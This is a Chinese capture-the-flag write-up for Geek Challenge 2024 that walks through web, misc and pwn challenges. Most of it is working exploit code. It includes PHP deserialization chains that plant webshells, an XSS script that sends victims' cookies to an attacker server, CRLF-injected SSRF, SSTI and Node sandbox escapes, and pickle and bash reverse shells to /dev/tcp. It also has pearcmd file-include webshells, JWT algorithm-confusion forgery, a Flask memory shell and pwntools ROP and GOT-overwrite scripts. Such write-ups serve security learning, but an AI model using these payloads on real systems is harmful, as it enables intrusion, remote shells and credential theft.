Bootstrap

极客大挑战2024wp

极客大挑战2024wp

web 和misc 都没咋做出来,全靠pwn✌带飞
排名
在这里插入图片描述

密码学和re没做出几个,就不发了

web

ez_pop

源代码

<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}

pop 链子

lover::__destruct ->Geek::__get ->lover::__invoke ->Geek::toString ->SYC::__call

为了使链子正常运行,需要 把$lover->J1rry="data://text/plain,Welcome GeekChallenge 2024";

用伪协议控制file_get_contents的内容,对于meimong的初步过滤,用16进制绕过即可

然后是死亡exit的绕过,由于黑名单过滤的很全,这里就尝试strip_tags写入htaccess,预包含,flag文件名也给了 就是flag相关文章:https://xz.aliyun.com/t/8163

exp

<?php
Class SYC{
    public $starven;
    
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __construct()
    {
        $this->J1rry="data://text/plain,Welcome GeekChallenge 2024";
        
    }
}

Class Geek{
    public $GSBP;
}

$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
$exp=str_replace('s:7:"meimeng"','S:7:"\6d\65\69\6d\65\6e\67"',serialize($a));
echo urlencode($exp);
echo "\n";

发送一次写入,再刷新一次包含就可以看见flag

在这里插入图片描述

problem_on_my_web

访问/manager,提示要我传一个post参数url,然后give gift on cookie,感觉就是要打xss偷cookie

发送消息的地方填

<script>
img = new Image();
img.src='http:/ip/cookie.php?cookie='+document.cookie;
img.width = 0;
img.height = 0;
</script>

vps上放一个cookie.php

<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>

发送了上面的xss信息后,在manager路由传http://127.0.0.1即可,过一会即可在cookie.txt里看到flag

ez_http

根据要求一个个添加参数和http头即可


import requests

url="http://80-ede138cf-40a4-4102-a7eb-cc54a3144be8.challenge.ctfplus.cn/?welcome=geekchallenge2024"
cookies={ 'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAwMTI2MzEsIm5iZiI6MTczMDAxMjYzMSwiZXhwIjoxNzMwMDE5ODMxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.rndv-ew4zbtQJZXgR_Quqa-xR-E6p1WXindKnLKbO4k'}
header={
    'X-Real-IP':'127.0.0.1',
    'Referer':'https://www.sycsec.com',
    'STARVEN':'I_Want_Flag',
   
}
data={'username':'Starven','password':'qwert123456'}

res=requests.post(url=url,data=data,headers=header,cookies=cookies)
print(res.text)

在这里插入图片描述

Can you pass me

ssti 绕过,{%%}绕{{, attr绕[],关键词的过滤全用八进制编码,然后发现不能直接查看flag,用base64 /flag带出来

{%print(lipsum|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('\142\141\163\145\066\064\040\057\146\154\141\147')|attr('\162\145\141\144')())%}

ez_ssrf

www.zip泄露源码

h4d33333.php

<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}

calculator.php

<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}

calculator.php 需要本地访问,h4d33333.php的SOAPcilient 对象可以触发__call 去访问,文件头信息可控造成CRLF注入,http头部的信息和请求参数都可以控制,控制一下认证信息满足要求,即可绕过白名单执行eval

crlf exp


from urllib.parse import quote
payload="expression=system('cat /flag');&a="
print(quote(f"""test\r\nAUTHORIZATION:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N01\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\n{payload}"""))

然后发送了但是返回的东西看不了,还是直接访问/result得到的flag

not_just_pop

源码

<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        die($this->You->execurise=$this->Do);
    }

}

class Parar{
    private $execurise;
    public $lead;
    public $hansome;
    public function __set($name,$value)
    {
        echo $this->lead;
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
    }
    public function __call($args1,$args2)
    {
        $func=$this->friend;
        $func();
    }

}
class SYC{
    private $lover;
    public  $forever;
    public function __isset($args){
        return $this->forever->nononon();
    }

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
    unserialize(base64_decode($Syclover));
    throw new Exception("None");
}else{
    echo("怎么不给我呢,是不喜欢吗?");
}

稍微复杂了一点的pop

lhRaMK7::__destruct -> Parar::__set -> Starven::__toString -> Parar::__get ->SYC::__isset ->Starven::__call ->lhRaMK7::__invoke

从代码中就可以看出来,flag无法直接读取,感觉要提权,为了顺利反序列化,还要删掉最后的}触发fast-desruct绕过异常,题目php版本还是7.2,直接全部属性改为public

到eval的时候,发现system用不了,phpinfo发现有disable_function,写个马,然后蚁剑插件绕过,exp

<?php
// highlight_file(__FILE__);
// ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __construct()
    {
        $this->You=new Parar();

    }

}

class Parar{
    public $execurise;
    public $lead;
    public $hansome;
    public function __construct()
    {
        $this->lead=new Starven();
        
    }
}

class Starven{
    public $girl;
    public $friend;
}
class SYC{
    public $lover;
    public  $forever;
   

}


$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl= new Parar();
$a->You->lead->girl->execurise='man!';
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
// $a->You->lead->girl->hansome->forever->friend->love='phpinfo();';
$a->You->lead->girl->hansome->forever->friend->love='$a="PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";file_put_contents("shell.php",base64_decode($a));';
$exp=substr(serialize($a),0,-1);
echo base64_encode($exp);

提权,用sudo -l 有env,直接env提权即可

在这里插入图片描述

nosanbox

一开始要登陆,提示manggodb,上网就找到了一个nosql注入的payload ,类似mysql的万能密码

{"username":{"$ne":1},"password": {"$ne":1}}

nodejs vm沙箱逃逸,比较简单,网上就有很多文章,不能用引号,于是全用模板字符串,还能绕黑名单

本来的payload是利用报错带出命令结果,这里不回显报错信息,于是 写个 sh,然后反弹shell,exp

一次编码会有+,所以这里编码两次

throw new Proxy({}, {
     get: function(){
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor(`${`return pro${`cess`}`}`))();
        const obj = p.mainModule.require(`${`child_p${`ro`}cess`}`);
        const ex = Object.getOwnPropertyDescriptor(obj,`${`${`exe`}cSync`}` );
        return ex.value(`${`echo WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpOQzR5TVRVdU1qVXdMekV5TXpRZ01ENG1NU2M9 |base64 -d |base64 -d > 1.sh`}`).toString();
    }
})

然后sh 1.sh即可

在这里插入图片描述

baby_upload

发现上传的文件名可控,一开始尝试s.php/啥的,会报错,后面尝试双写就绕过了 s.php.php

源代码用strstr函数获取后缀,难怪可以

ez_include

require_once绕过 文章:https://www.anquanke.com/post/id/213235

payload

?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

然后来到levelllll2.php

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

提示很明显了,打pearcmd包含,file变量不会用黑名单里的东西,无伤大雅,payload

?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php

然后查看flag即可,根目录没有,在/proc/self/environ

php不比java差

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);
       
    }
}

unserialize($_POST['data']);

考了好多pop链,这么喜欢pop吗

起点是__unserialize$data里的键值对用来还原对象的属性,$change可控,使用implode,一个值设为

Syclover即可触发toString,然后就卡了一会,再回去看题目发现提到了java,java反序列化常用反射,经过搜索发现这里可以反射调用system,直接看flag看不了,那就写马,发现要用file,suid提权,exp

<?php

error_reporting(0);


class Challenge{
    public $file;
}

class Geek{
    public $a;
    public $b;
    
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    
}
$a=new Geek();
$a->a=new Syclover();
$a->a->Where='ReflectionFunction';
$a->a->IS='system';
$a->a->Starven="invokeArgs";
$a->a->Girlfriend=array("echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php");
echo urlencode(serialize($a));

在这里插入图片描述

ez_python

注册登录后,随便输入了点评论,就提示访问/starven_s3cret,访问获得源码分析

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        usname = request.form['username']
        passwd = request.form['password']

        if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    return  render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
        return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
        statement = request.form['statement']

        try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                    return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
        except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

可以看到在login路由有个反序列化,有个waf不知道,尝试反弹shell 就触发了waf,说要换个思路,那就内存马,用最常用的还不行,笔记里往下翻了几个才找到能用的

payload:

import pickle
import base64
opcode=b'''cbuiltins
exec
(S"app.backup_func=app.view_functions['index'];app.view_functions['index']=lambda : __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func()"
tR.'''

print(base64.b64encode(opcode).decode())

然后就在根路由传cmd参数命令即可,看了看waf

blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc',b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter',b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']

rce_me

考察php的一些性质,按要求传参即可

  1. 直接post start=start now

  2. md5("Geekchallenge2024_bmKtL")就是经典0e,找一个数字sha1后0e的

  3. 有个

    foreach ($_GET as $key => $value) {
            $$key = $value;
        }
    

    明显的变量覆盖,后面的在get传对应参数名

    intval漏洞:php<7.2.25时,intval函数不能正常解析字符串形式的科学表达式,会返回底数,传year=1e4,intval($year)解析字符串'1e4'返回1,过第一个条件,后面的是$num+1,数字和字符串相加,php会把字符串转为数字再相加,所以这是就会被解析为10000,从而过第二个条件

  4. purpose传数组就行,preg_match无法处理数组。最后就可以rce了

payload

?year=1e4&purpose[]=rce&code=system('cat /flag');

post: start=start now&_[2024.geekchallenge.ctf=10932435112

jwt_pickle

感觉考点都在web,并没涉及啥密码学知识

漏洞点在jwt的签名和检验的算法不一致,encode是RS256,decode确是RS256和HS256都可以

RS256是非对称加密,HS256是对称加密,我们可以通过工具rsa2sign.py,得到公钥,再写脚本把payload用HS256加密一次,密钥就用得到的公钥(检验时允许HS256)

introduction 有反序列化漏洞,直接反弹shell

在这里插入图片描述

脚本

import jwt
import base64
# 修改了源码方可成功 site-packages/jwt/algorithms.py 
# 注释掉抛出异常的部分
public ="""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAs2aM9wXti4Lm3cBNsJ6edBuKsRaXxW+JHIxDcuVRbAFWt7XLqBMg
NIWLeZ5O6rVkqz1SaD2aEHvyaxZMSN7vXHlgn5keVtTJRbDMl+dzP32F461rGa1K
DSvfac512Rl1Dl+quq5RmZotsjDWV4xEGolgBVJoFv+/M8X/WO+zl9MMF7ZV22Fd
PsFjq4bX7koU3yadPDBRVNcAjuYEy4OybCOlhnt4zeg/NdK6Rxs763iBA5/+ZusR
UAL9KmQ1wV7NDPtUjb3yBwv/3bHR+j6drlW5cc/f6vJxv/xsA5WpgkLDhUCkH8A0
x9dvqeAXvlIFaJXp3Bk01jrqwWwe+oJlpQIDAQAB
-----END RSA PUBLIC KEY-----
"""
opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''
opcode=base64.b64encode(opcode).decode()
payload={"username": "hello",'password':'e10adc3949ba59abbe56e057f20f883e',"is_admin": True,'introduction':opcode}
print(jwt.encode(payload, key=public, algorithm='HS256'))

SecretInDrivingSchool

源码发现后台地址,访问后有提示密码是三位字母+@chenxing,写了个字典就开始爆,爆了半天发现就是SYC

进入后台有个编辑广告的地方,里面是php代码,改为rce的就出了,用编码绕过waf

"\x73\x79\x73\x74\x65\x6d"("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67");
system('cat /flag');

100%的⚪

看js代码就有了,base64解码

Misc

签到

关注公众号,发送得flag

Truth of Word

附件是一个word文档,

全选 然后字体变红就能看到第一段flag,

复制一份后缀改为zip解压,发现有个bin文件,是宏,返回docx查看宏得到第二段flag

查看解压出来的压缩包中的media文件夹,在一张图片中发现第三段flag

SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}

Welcome_jail

懒得思考了,直接走继承链,用chr绕过引号的过滤

[i for i in [].__class__.__mro__[-1].__subclasses__() if i.__name__ == (chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101))][0].__init__.__globals__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

cimbar

上网搜了一下i,cimbar是用摄像头来传文件的一种技术,然后找到了各个字符对应的4位二进制的对应关系图,https://aigcdaily.cn/news/b24u20oz8s9djnd/

一个个对着翻译即可,然后二进制转ascii就行

舔狗的觉醒

附件解压是个txt,里面一串16进制,开头05 b4 30,一看就是两两逆序,写个脚本

with open('byte-revenge.txt','r') as file:
     f=file.read().replace(' ','').replace("\n","")
     reversed_pairs = ''.join([f[i:i+2][::-1] for i in range(0, len(f), 2)])
     bin_data=bytes.fromhex(reversed_pairs)
     with open('a.zip','wb') as f:
         f.write(bin_data)

解压得到的压缩包,有个flag.pdf,提示

在这里插入图片描述

感觉是图片的嵌套,上网找了网站https://pdfcandy.com/来提取pdf所有图片,就有了flag

dosomemath

给了源码,那个算式本地跑一下是9872,但是不能用数字,看那个白名单就知道要用一些魔术方法来表示数字,

打开vscode,输入().__对着自动补全出的魔术方法一个个看,就可以看到__ge__,尝试了一下,就发现

().__ge__(())+().__ge__(())=2

就可以通过().__ge__(())来构造任意数字,9872分解为((16)*(((20)*(30))+(17)))=,一个个+肯定会太长的

payload

payload="().__ge__(())"

def get_payload(num):
    tmp=[payload]*num
    res='+'.join(tmp)
    return res
#(16)*(((20)*(30))+(17))
target=f'({get_payload(16)})*((({get_payload(20)})*({get_payload(30)}))+({get_payload(17)}))'
print(target)
print(eval(target))

ez_jpg

给了个txt,一串很长的16进制,翻到最后是8DFF,明显是jpg的文件头逆序,找ai写个脚本逆序下就行

得到一个有点乱的图片,然后修改宽高就能看到一点flag,用ps修一下更好看,但是发现也可以直接看

在这里插入图片描述

ez_pcap_1

直接在smb2流量中,找找就行,在最后的那个读取文件的流量就有,太菜了2做不出来

解压附件得到图片和white.txt,图片名字提到watermarkh,就是盲水印,用工具提取到Th1si4st8eK3y

根据题目名另一个snow隐写,密钥就是Th1si4st8eK3y

SYC{Ma1by_y0u_w1ll_l1k3_sn0w}

hard_jail

show看了看源码,这个waf,预期解感觉是要走内置函数的装饰器,但是不咋会,看到是white true 输入的,直接尝试输入black=[]之后,waf就没了,就可以直接命令执行了

乌龟

一听就感觉是无线电,sstv解出来的图片上有密码,deepsound用这个密码就解出了奇怪的东西,问gpt说是logo语言的绘图指令,找个网站把图画出来就有了flag

在这里插入图片描述

PWN

买黑吗喽了吗

View里很明显有一个写str1的操作,然后就在思考怎么办让Balance大于0x100,但是实际上并不难,新手随便买买都能触发(看不看得出来另说),触发后就能够泄漏程序基地址,而后就可以正常ROP

from pwn import *
 
 io = process("./syscall")
 \# io = remote("nc1.ctfplus.cn", 31851)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 context.arch = 'amd64'
 
 elf = ELF("./syscall")
 libc = elf.libc
 
 for i in range(8):
   io.recv()
   io.sendline(b'1')
   io.recv()
   io.sendline(b'1')
 
 for i in range(6):
   io.recv()
   io.sendline(b'1')
   io.recv()
   io.sendline(b'2')
 
 \# gdb.attach(io)
 
 io.recv()
 io.sendline(b'2')
 \# io.sendline(b'2')
 io.send(b'%p')
 
 \# io.sendline(b'2')
 
 io.recvuntil(b'There are 8 commodity_1 and 6 commodity_2 in your pocket.\nAnd your Balance : 0x')
 
 elfbase = int(io.recv(14), 16) - 0x4090
 log.info("elfbase: 0x%x" % elfbase)
 pop_rdi = elfbase + 0x00000000000011f1
 log.info("pop_rdi: 0x%x" % pop_rdi)
 ret = elfbase + 0x000000000000101a
 log.info("ret: 0x%x" % ret)
 
 io.sendline(b'3')
 
 io.recvuntil(b'Tell me your feedback:')
 
 payload = b'A'*0x58 + p64(pop_rdi) + p64(elfbase + elf.got['puts']) + p64(elfbase + elf.plt['puts']) + p64(elfbase + elf.sym['main'])
 
 io.sendline(payload)
 
 io.recvuntil(b'Thanks for your feedback!We`ll do it better!\n')
 
 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 log.info("puts_addr: 0x%x" % puts_addr)
 libcbase = puts_addr - libc.sym['puts']
 log.info("libcbase: 0x%x" % libcbase)
 system_addr = libcbase + libc.sym['system']
 log.info("system_addr: 0x%x" % system_addr)
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 log.info("str_bin_sh: 0x%x" % str_bin_sh)
 
 io.sendline(b'3')
 
 io.recvuntil(b'Tell me your feedback:')
 
 payload = b'A'*0x58 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr)
 
 gdb.attach(io)
 
 io.sendline(payload)
 
 io.interactive()

00000

之前打另一个比赛刚遇见过打/dev/urandom里的所谓真随机,确实是不能爆破,Geek没有给爆破机会,算得上对新手友好,直接一直给\x00,就可以有机率过strcmp,然后直接看flag

from pwn import *
 
 \# io = process("./main")
 \# io = remote("nc1.ctfplus.cn", 27071)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 context.arch = 'amd64'
 
 while True:
   \# io = process("./main")
   io = remote("nc1.ctfplus.cn", 41863)
   io.recv()
   io.recv()
   try:
     io.sendline(b'\x00')
     take = io.recv(timeout=1)
     if b'The password is wrong and you cannot access the secret files' not in take:
       io.interactive()
     else:
       io.close()
       continue
   except:
     io.interactive()

over_flow??

蛮有意思,如果对照一下save_to_file和read_from_file再加一点调试就会发现实际上rdi会变成我们给的参数,而read_from_file多溢出的一位会成为rax,而后会调用syscall,所以控参数和系统调用直接写在一个payload就行了(来自一个看到溢出发现就报错的敏感,差点觉得又是啥没学过的新东西要补[大哭])

from pwn import *
 
 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 io = process("./over_data")
 \# io = remote('nc1.ctfplus.cn', 33092)
 
 elf = ELF("./over_data")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 io.recvuntil(b'please input your choice\n')
 io.sendline(b'2')
 
 io.recvuntil(b'please input file name')
 
 gdb.attach(io)
 
 io.send(b'/bin/sh\x00\x3b')
 
 io.interactive()

Black_Myth_Wukong

在这里插入图片描述

snprintf把格式化丢脸上了,直接泄漏

然后试过直接正常用system rop,但是很可惜调试会发现偏移不确定,懒得调试,直接让one_gadget填满了

from pwn import *
 
 \# io = process("./main")
 io = remote("nc1.ctfplus.cn", 29311)
 
 elf = ELF("./main")
 libc = elf.libc
 
 context.terminal = ['tmux','new-window']
 context.log_level = 'debug'
 
 io.recvuntil(b'Please enter any key to enter the game...')
 \# io.send(b'KKKKK')
 io.sendline()
 
 \# gdb.attach(io)
 
 io.recvuntil(b'>>')
 io.sendline(b'31')
 
 io.recvuntil(b'You defeated Guangzhi, and you obtained Guangzhi\'s weapon. Please accept it: ')
 libc_start_main = int(io.recv(12), 16) - 231
 log.info("libc_start_main: " + hex(libc_start_main))
 libcbase = libc_start_main - libc.symbols['__libc_start_main']
 log.info("libcbase: " + hex(libcbase))
 system = libcbase + libc.symbols['system']
 log.info("system: " + hex(system))
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 log.info("str_bin_sh: " + hex(str_bin_sh))
 pop_rdi = libcbase + 0x000000000002164f
 log.info("pop_rdi: " + hex(pop_rdi))
 ret = libcbase + 0x00000000000008aa
 log.info("ret: " + hex(ret))
 onegadget = libcbase + 0x4f29e
 log.info("onegadget: " + hex(onegadget))
 
 \# gdb.attach(io)
 
 \# payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
 
 \# payload = b'A'*0xd8 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)
 payload = p64(onegadget)*2*16
 print(hex(len(payload)))
 
 io.recvuntil(b'>>')
 io.sendline(str(len(payload)).encode())
 
 \# payload = payload.ljust(256, b'A')
 
 io.sendline(payload)
 
 io.interactive()

我的空调呢?

第一反应还以为这个菜单是个堆题,甚至堆题的模板都写好了。。。

然后才发现连malloc和free都没有,想着这下完了,又要搓好久哪的指针残留,直接用完泄漏就想着肯定得看看程序具体指针了

结果代码太乱了,懒得逆向,直接一顿调试,发现分配的时候没有负数检查,再一看上面的got表,直接心领神会,直接写memset为system,在delete里memset一个/bin/sh的块就行了

from pwn import *
 
 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 \# io = process("./pwn")
 io = remote('nc1.ctfplus.cn', 34033)
 
 elf = ELF("./pwn")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 def choose(choice):
   io.sendlineafter(b'<Your chioce>:', str(choice).encode())
 
 def alloc(beforecontent, aftercontent):
   \# def alloc(content):
   choose(1)
   \#  io.sendlineafter(b'', str(id).encode())
   \# io.sendlineafter(b'', str(size).encode())
   \#  io.sendlineafter(b'', str(len(content)).encode())
   io.sendafter(b'Your name:', beforecontent)
   io.sendafter(b'Introduce:', aftercontent)
 
 def delete(id):
   choose(3)
   io.sendlineafter(b'Index:', str(id).encode())
 
 def edit(id, content):
   choose(4)
   io.sendlineafter(b'Index:', str(id).encode())
   io.sendafter(b'message:', content)
     
 def show(id):
   choose(2)
   io.sendlineafter(b'Index:', str(id).encode())
 
 choose(5)
 io.recvuntil(b'Please input an address.(such as 0xffff)')
 
 \# gdb.attach(io)
 
 io.sendline(b'0x404018')
 io.recvuntil(b'massege:')
 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 lg('puts_addr', puts_addr)
 libcbase = puts_addr - libc.symbols['puts']
 lg('libcbase', libcbase)
 system = libcbase + libc.symbols['system']
 lg('system', system)
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 lg('str_bin_sh', str_bin_sh)
 
 set_buf = libcbase + libc.symbols['setbuf']
 lg('set_buf', set_buf)
 printf = libcbase + libc.symbols['printf']
 lg('printf', printf)
 memset = libcbase + libc.symbols['memset']
 lg('memset', memset)
 read =  libcbase + libc.symbols['read']
 lg('read', read)
 
 \# for i in range(0x10):
 \#   alloc(str(i).encode(), str(i).encode())
 
 alloc(b'/bin/sh\x00', b'0')
 alloc(b'1', b'1')
 
 \# gdb.attach(io, 'b *0x4017e8')
 
 edit(-4, p64(set_buf) + p64(printf) + p64(system))
 
